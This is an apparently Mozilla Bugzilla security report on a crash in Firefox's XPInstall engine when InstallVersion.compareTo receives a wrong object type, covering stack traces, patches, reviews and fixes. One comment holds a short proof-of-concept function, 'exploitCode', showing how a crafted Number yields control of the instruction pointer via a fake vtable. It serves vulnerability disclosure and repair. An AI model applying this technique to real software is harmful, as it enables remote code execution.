Closed Bug 295854 Opened 15 years ago Closed 15 years ago

(new InstallVersion()).compareTo(/x/) crashes [@ConvertJSValToObj]

Categories

(Core Graveyard :: Installer: XPInstall Engine, defect, critical)

x86
Windows XP
defect
Not set
critical

Tracking

(Not tracked)

RESOLVED FIXED

People

(Reporter: sync2d, Assigned: timeless)

References

()

Details

(4 keywords, Whiteboard: [sg:fix])

Crash Data

Attachments

(1 file, 5 obsolete files)

User-Agent:       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Build Identifier: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8b2) Gecko/20050528 Firefox/1.0+ (2005052806)



Reproducible: Always

Steps to Reproduce:
1. navigate the browser to
javascript: (new InstallVersion()).compareTo(/x/);
Actual Results:  
the browser crashes.

Expected Results:  
do not crash and fail softly.

FIREFOX caused an invalid page fault in
module XPINSTAL.DLL at 015f:60056d04.
http://talkback-public.mozilla.org/talkback/fastfind.jsp?search=2&type=iid&id=TB6213056H

Stack Signature	 ConvertJSValToObj 17af286a
Product ID	MozillaTrunk
Build ID	2005052706
Trigger Time	2005-05-29 01:51:03.0
Platform	Win32
Operating System	Windows 98 4.10 build 67766222
Module	XPINSTAL.DLL + (00006c0d)
URL visited	javascript: (new InstallVersion()).compareTo(/x/);
User Comments	Bug 295854 (new InstallVersion()).compareTo(/x/) crashes
Since Last Crash	146 sec
Total Uptime	146 sec
Trigger Reason	Access violation
Source File, Line No.
c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpinstall/src/nsJSInstall.cpp,
line 308
Stack Trace 	
ConvertJSValToObj 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpinstall/src/nsJSInstall.cpp,
line 308]
InstallVersionCompareTo 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpinstall/src/nsJSInstallVersion.cpp,
line 470]
js_Invoke 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsinterp.c,
line 1182]
js_Interpret 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsinterp.c,
line 3473]
js_Execute 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsinterp.c,
line 1413]
JS_EvaluateUCScriptForPrincipals 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsapi.c, line
3793]
nsJSContext::EvaluateString 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/base/nsJSEnvironment.cpp,
line 1037]
nsJSThunk::EvaluateScript 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/jsurl/nsJSProtocolHandler.cpp,
line 255]
nsJSChannel::InternalOpen 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/jsurl/nsJSProtocolHandler.cpp,
line 508]
nsJSChannel::AsyncOpen 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/jsurl/nsJSProtocolHandler.cpp,
line 480]
nsURILoader::OpenURI 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/uriloader/base/nsURILoader.cpp,
line 878]
nsDocShell::DoChannelLoad 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsDocShell.cpp,
line 6580]
nsDocShell::DoURILoad 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsDocShell.cpp,
line 6438]
nsDocShell::InternalLoad 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsDocShell.cpp,
line 6205]
nsWebShell::OnLinkClickSync 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsWebShell.cpp,
line 552]
OnLinkClickEvent::HandleEvent 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsWebShell.cpp,
line 348]
PL_HandleEvent 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpcom/threads/plevent.c,
line 699]
0x778b0c24
Severity: normal → critical
Summary: (new InstallVersion()).compareTo(/x/) crashes → (new InstallVersion()).compareTo(/x/) crashes [@ConvertJSValToObj]
Whiteboard: testcase crash
TB6213255E for me
5 Talkbacks Trunk and Branch:
http://talkback-public.mozilla.org/talkback/fastfind.jsp?search=1&searchby=comments&match=contains&searchfor=295854&vendor=All&product=All&platform=All&buildid=&sdate=&stime=&edate=&etime=&sortby=bbid

crash also seen before fixing of Bug 290162 crash in InstallTrigger.install.call
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: crash, testcase
Whiteboard: testcase crash
dougt: cvs blame blames you
812 #define JSCLASS_HAS_PRIVATE             (1<<0)  /* objects have private slot */
813 #define JSCLASS_NEW_ENUMERATE           (1<<1)  /* has JSNewEnumerateOp hook */
814 #define JSCLASS_NEW_RESOLVE             (1<<2)  /* has JSNewResolveOp hook */
815 #define JSCLASS_PRIVATE_IS_NSISUPPORTS  (1<<3)  /* private is (nsISupports *) */

JSCLASS_HAS_PRIVATE does not mean PRIVATE_IS_NSISUPPORTS.
Assignee: xpi-engine → timeless
Attached patch use nsisupports marking (obsolete) — Splinter Review
dougt: wrong blame.
http://bonsai.mozilla.org/cvsblame.cgi?file=/mozilla/xpinstall/src/nsJSInstall.cpp&mark=303-308&rev=1.116#308

http://bonsai.mozilla.org/cvsblame.cgi?file=/mozilla/xpinstall/src/nsJSInstallVersion.cpp&mark=458-470&rev=1.23#470


note that i'm backing out some silly changes brendan made with context which
should make it clear *why* i'm backing them out. they aren't strictly related
to this bug, but those code changes introduced poor error reporting for cases
which the code already handled. if someone really cares, they can be split into
another bug.
Attachment #184810 - Flags: superreview?(dveditz)
Attachment #184810 - Flags: review?(dveditz)
[SECURITY ALERT]

This bug is possibly remotely exploitable if the address of
the heap memory is predictable (depends on OS/libc/etc...).
function exploitCode() {
  var xxAddress = 0x00400000;
  //
  // struct vtbl { void (*code)(void); };
  // struct data { struct vtbl *pvtbl; };
  //
  // struct data *pdata = (struct data *)(xxAddress & ~0x01);
  // pdata->pvtbl->code(pdata);
  //
  (new InstallVersion).compareTo(new Number(xxAddress >> 1));
}

-----

On my machine (Firefox 1.0.4/Win98):

// struct data *pdata = (struct data *)(xxAddress & ~0x01);
dwords@0x00400000 = { 0x00905a4d, 0x00000003, 0x00000004, 0x0000ffff };
// struct vtbl *pvtbl = pdata->vtbl;
dwords@0x00905a4d = { 0xfdfffdff, 0xfd2822ff, 0xfdfffdff, 0xfdfffdff };

FIREFOX caused an invalid page fault in
module <unknown> at 0000:fdfffdff.
Registers:
EAX=00400000 CS=015f EIP=fdfffdff EFLGS=00010246
EBX=00000000 SS=0167 ESP=00c9e968 EBP=00c9ea80
ECX=00905a4d DS=0167 ESI=01788c18 FS=570f
EDX=600bd628 ES=0167 EDI=0288c900 GS=0000
Bytes at CS:EIP:

Stack dump:
60047112 00400000 6005c914 00c9eb60 02a3cef4 018fd1e4 00c9e9b4 60095104
0288c900 017c4a70 600b3574 00cccf32 00000000 00000000 00000004 00000000

-----

The attacker can construct fake data/vtbl structures on the heap and
its address can be given to the buggy code using JavaScript Number
object (only when he/she can predict the address of the fake data).
Flags: blocking1.8b3+
Flags: blocking1.7.9+
Flags: blocking-aviary1.0.5+
Whiteboard: [sg:fix]
Group: security
Status: NEW → ASSIGNED
Nominating for bug bounty
Blocks: sbb?
Whiteboard: [sg:fix] → [sg:fix] have patch- - needs review
Comment on attachment 184810 [details] [diff] [review]
use nsisupports marking

This patch was given r- over IRC, the main bit of the patch should use
JS_InstanceOf() and only try to convert an object of the expected type.
Attachment #184810 - Flags: superreview?(dveditz)
Attachment #184810 - Flags: review?(dveditz)
Attachment #184810 - Flags: review-
Comment on attachment 184810 [details] [diff] [review]
use nsisupports marking

This patch was given r- over IRC, the main bit of the patch should use
JS_InstanceOf() and only try to convert an object of the expected type.
Comment on attachment 184810 [details] [diff] [review]
use nsisupports marking

>      //   public int AddDirectory(String version);  --OR--  VersionInfo version
> 
>     if(JSVAL_IS_OBJECT(argv[0]))

What I was getting at was change the above to

      if (JSVAL_IS_OBJECT(argv[0]) && 
	  JS_InstanceOf(cx, JSVAL_TO_OBJECT(argv[0]), &InstallVersionClass,
nsnull))

If you like you could instead change the ConvertJSValToObj() function to take
the JSClass structure instead of the string typename and do the instance check
in the converter. You'd get the string for the error messages from the JSClass
struct. If anyone else were calling that function that's what I'd want you to
do, but nsJSInstallVersion is the only consumer.
Timeless:  Please take a look and see if you can get a new patch reviewed soon.
 Thanks.
Attached patch use JS_InstanceOf (obsolete) — Splinter Review
Attachment #184810 - Attachment is obsolete: true
Attachment #186432 - Flags: superreview?(dveditz)
Attachment #186432 - Flags: review?(dveditz)
Comment on attachment 186432 [details] [diff] [review]
use JS_InstanceOf

r/sr=dveditz
a=dveditz for branch landing
Attachment #186432 - Flags: superreview?(dveditz)
Attachment #186432 - Flags: superreview+
Attachment #186432 - Flags: review?(dveditz)
Attachment #186432 - Flags: review+
Attachment #186432 - Flags: approval1.7.9+
Attachment #186432 - Flags: approval-aviary1.0.5+
Comment on attachment 186432 [details] [diff] [review]
use JS_InstanceOf

r/sr=dveditz
a=dveditz for branch landing
Attachment #186432 - Flags: approval1.7.9+
Attachment #186432 - Flags: approval-aviary1.0.5+
Attachment #186432 - Flags: approval1.7.9+
Attachment #186432 - Flags: approval-aviary1.0.5+
Sorry for the double-submit, bugzilla returned a 500 error so I thought the
first didn't go through.
> (In reply to comment #14)
> Created an attachment (id=186432) [edit]
> use JS_InstanceOf

InstallVersionClass also needs JSCLASS_PRIVATE_IS_NSISUPPORTS flag.
http://lxr.mozilla.org/seamonkey/source/xpinstall/src/nsJSInstallVersion.cpp#74

There are some unused prototype declarations of ConvertJSValToObj().
These declarations should be updated or removed to prevent confusion.
http://lxr.mozilla.org/seamonkey/ident?i=ConvertJSValToObj
Attached patch nsisupports marker (obsolete) — Splinter Review
Attachment #186450 - Flags: superreview?(dveditz)
Attachment #186450 - Flags: review?(dveditz)
Attached patch remove extra definitions (obsolete) — Splinter Review
if things ever need the function, the prototype really should be moved to a
header file.
Attachment #186452 - Flags: superreview?(dveditz)
Attachment #186452 - Flags: review?(dveditz)
Attachment #186432 - Flags: approval1.8b3+
Comment on attachment 186452 [details] [diff] [review]
remove extra definitions

r/sr/a=dveditz
Attachment #186452 - Flags: superreview?(dveditz)
Attachment #186452 - Flags: superreview+
Attachment #186452 - Flags: review?(dveditz)
Attachment #186452 - Flags: review+
Attachment #186452 - Flags: approval1.8b3+
Attachment #186452 - Flags: approval1.7.9+
Attachment #186452 - Flags: approval-aviary1.0.5+
Comment on attachment 186450 [details] [diff] [review]
nsisupports marker

r/sr/a=dveditz
Attachment #186450 - Flags: superreview?(dveditz)
Attachment #186450 - Flags: superreview+
Attachment #186450 - Flags: review?(dveditz)
Attachment #186450 - Flags: review+
Attachment #186450 - Flags: approval1.8b3+
Attachment #186450 - Flags: approval1.7.9+
Attachment #186450 - Flags: approval-aviary1.0.5+
Whiteboard: [sg:fix] have patch- - needs review → [sg:fix] need landing
Comment on attachment 186432 [details] [diff] [review]
use JS_InstanceOf

mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.24
mozilla/xpinstall/src/nsJSInstall.cpp	1.117

MOZILLA_1_7_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.94.2
mozilla/xpinstall/src/nsJSInstall.cpp	1.105.16.3

AVIARY_1_0_1_20050124_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.108.2
mozilla/xpinstall/src/nsJSInstall.cpp	1.105.20.1.2.2
Attachment #186432 - Attachment is obsolete: true
Comment on attachment 186450 [details] [diff] [review]
nsisupports marker

mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.25
MOZILLA_1_7_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.94.3
AVIARY_1_0_1_20050124_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.108.3
Attachment #186450 - Attachment is obsolete: true
Comment on attachment 186452 [details] [diff] [review]
remove extra definitions

mozilla/xpinstall/src/nsJSWinReg.cpp	1.18
mozilla/xpinstall/src/nsJSWinProfile.cpp	1.13
mozilla/xpinstall/src/nsJSInstallTriggerGlobal.cpp	1.45
mozilla/xpinstall/src/nsJSFileSpecObj.cpp	1.8
mozilla/xpinstall/src/nsJSFile.cpp	1.38
MOZILLA_1_7_BRANCH
mozilla/xpinstall/src/nsJSWinReg.cpp	1.15.34.2
mozilla/xpinstall/src/nsJSWinProfile.cpp	1.9.34.3
mozilla/xpinstall/src/nsJSInstallTriggerGlobal.cpp	1.35.2.6
mozilla/xpinstall/src/nsJSFileSpecObj.cpp	1.5.34.2
mozilla/xpinstall/src/nsJSFile.cpp	1.33.28.3
AVIARY_1_0_1_20050124_BRANCH
mozilla/xpinstall/src/nsJSWinReg.cpp	1.15.48.2
mozilla/xpinstall/src/nsJSWinProfile.cpp	1.9.48.3
mozilla/xpinstall/src/nsJSInstallTriggerGlobal.cpp	1.35.6.4.2.4
mozilla/xpinstall/src/nsJSFileSpecObj.cpp	1.5.48.2
mozilla/xpinstall/src/nsJSFile.cpp	1.33.42.3
Attachment #186452 - Attachment is obsolete: true
Status: ASSIGNED → RESOLVED
Closed: 15 years ago
Resolution: --- → FIXED
Whiteboard: [sg:fix] need landing
Whiteboard: [sg:fix]
javascript: (new InstallVersion()).compareTo(null);
still crashes.
Attached patch handle null (obsolete) — Splinter Review
Attachment #186542 - Flags: superreview?(dveditz)
Attachment #186542 - Flags: review?(dveditz)
> (In reply to comment #14)
> Created an attachment (id=186432)
> use JS_InstanceOf

| JSClass InstallClass = {
|   "Install",
|-  JSCLASS_HAS_PRIVATE,
|+  JSCLASS_HAS_PRIVATE | JSCLASS_PRIVATE_IS_NSISUPPORTS,
|   JS_PropertyStub,
|   JS_PropertyStub,
|   GetInstallProperty,

I think that this change caused bug 298054.
InstallClass's private data is nsInstall*, which is not
XPCOM object and hence does not expose nsISupports interface.
Such invalid flag confuses nsScriptSecurityManager::doGetObjectPrincipal().
http://lxr.mozilla.org/seamonkey/source/caps/src/nsScriptSecurityManager.cpp#199
6
Comment on attachment 186542 [details] [diff] [review]
handle null

r/sr=dveditz
Attachment #186542 - Flags: superreview?(dveditz)
Attachment #186542 - Flags: superreview+
Attachment #186542 - Flags: review?(dveditz)
Attachment #186542 - Flags: review+
shutdown: mail to you is bouncing, please contact chofmann@mozilla.org
v.fixed on aviary with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9)
Gecko/20050706 Firefox/1.0.5 using proof-of-concept...nothing bad happens.
javascript: (new InstallVersion()).compareTo(null);
null argument case is not fixed.

Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8b2) Gecko/20050706 Firefox/1.0+
Attachment #186542 - Flags: approval1.8b3?
(In reply to comment #32)
> javascript: (new InstallVersion()).compareTo(null);
> null argument case is not fixed.

Thanks for catching this. This leads to a null de-ref crash that should not be
exploitable, but timeless is going to check in the forgotten patch.
Comment on attachment 186542 [details] [diff] [review]
handle null

a=jay for landing on trunk and branches (driver mtg)
Attachment #186542 - Flags: approval1.8b3?
Attachment #186542 - Flags: approval1.8b3+
Attachment #186542 - Flags: approval1.7.9+
Attachment #186542 - Flags: approval-aviary1.0.5+
Comment on attachment 186542 [details] [diff] [review]
handle null

mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.26
MOZILLA_1_7_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.94.4
AVIARY_1_0_1_20050124_BRANCH 
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.108.4
Attachment #186542 - Attachment is obsolete: true
Adding distributors
Security advisories published
Group: security
Why is the severity in the advisory set to 'Moderate'?
Isn't this vulnerability can be potentially exploited for automatic remote 
code execution?
Are you waiting for an exploit in the wild before you set it to an higher 
severity?
Group: security
Group: security
Flags: testcase+
Flags: in-testsuite+ → in-testsuite?
in-testsuite-: InstallVersion is no more.
Flags: in-testsuite? → in-testsuite-
Crash Signature: [@ConvertJSValToObj]
Product: Core → Core Graveyard
You need to log in before you can comment on or make changes to this bug.